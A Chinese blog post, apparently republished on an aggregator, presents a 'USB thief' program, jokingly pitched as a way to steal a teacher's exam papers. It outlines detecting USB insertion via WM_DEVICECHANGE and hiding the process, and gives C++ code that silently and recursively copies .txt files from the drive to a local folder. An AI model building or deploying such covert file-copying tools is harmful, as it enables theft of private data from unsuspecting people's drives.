zoukankan      html  css  js  c++  java
  • u盘小偷程序(usbthief)

     临近期末,大家都忙着复习,不挂科。

    这学期的操作系统课实在蛋疼。。还有编译原理。

    老师还不给划重点,那咱们怎么办?于是有了下面的想法:

    u盘小偷程序  帮助你偷取老师的试卷,不挂科! 哈哈

    这个程序的要点是获取WM_DEVICECHANGE 硬件改动消息

    接收插入u盘消息

    测试最后几个磁盘是否为移动磁盘。复制所需要的文件

    这个程序的难点是进程隐藏,老板键的设置

    递归拷贝文件代码:

    void  SearchCopyDirectory(CString   strDir) 
    { 
    	if(strDir.IsEmpty()) 
    		return; 
    	CFileFind   ff;                                                  //首先拷贝文件及子文件夹 
    	BOOL   bFound = ff.FindFile(strDir+ "\\*",0);
    	CString  newfilepath = "d://copy//";
    	CString  findcontent;
        int n = 0;
    	while(bFound) 
    	{ 
    		bFound   =   ff.FindNextFile(); 
    		if(ff.GetFileName()== "."||ff.GetFileName()== "..")          //过滤掉//.  //..
    			continue;
    		
    		SetFileAttributes(ff.GetFilePath(),   FILE_ATTRIBUTE_NORMAL); //去掉文件(夹)只读等属性 
    		
    		if(ff.IsDirectory()) 
    		{  
    			SearchCopyDirectory(ff.GetFilePath()); 	                  //拷贝递归文件夹	
    			findcontent =  ff.GetFileName();
     
                 n = findcontent.Find(".txt");
    		
    			if(-1 !=n)
    			{  
    				if(0==CopyFile(ff.GetFilePath(),newfilepath+ff.GetFileName(),0))
    				{ 
    					//ifdef DEBUG
    					//AfxMessageBox("failue A ...");
    				}
    			}
    		}
    		else 
    		{ 
    		    
    		   findcontent =  ff.GetFileName();
    			n = findcontent.Find(".txt");
                if(-1 !=n)
    			{
    				if(0==CopyFile(ff.GetFilePath(),newfilepath+ff.GetFileName(),0))                //拷贝文件 
    				{ 
    					//AfxMessageBox("failue B...");
    				}
    			}
    			
    		} 
    	}
    	ff.Close(); 
    } 
    

      

  • 相关阅读:
    golang的string是包使用
    OTHER状态的mongodb副本集成员转换为独立的新副本集primary
    linux命令行快捷键
    如何配置vcodes成最美观的样子,让你从此爱上代码
    记一次Lock wait timeout异常的排查过程
    mysql变更上线流程
    go build 使用
    Makefile文件
    解决 windows10系统和AOC显示器时不时地闪现黑屏问题
    feign调用添加header参数
  • 原文地址:https://www.cnblogs.com/pipicfan/p/2310417.html
Copyright © 2011-2022 走看看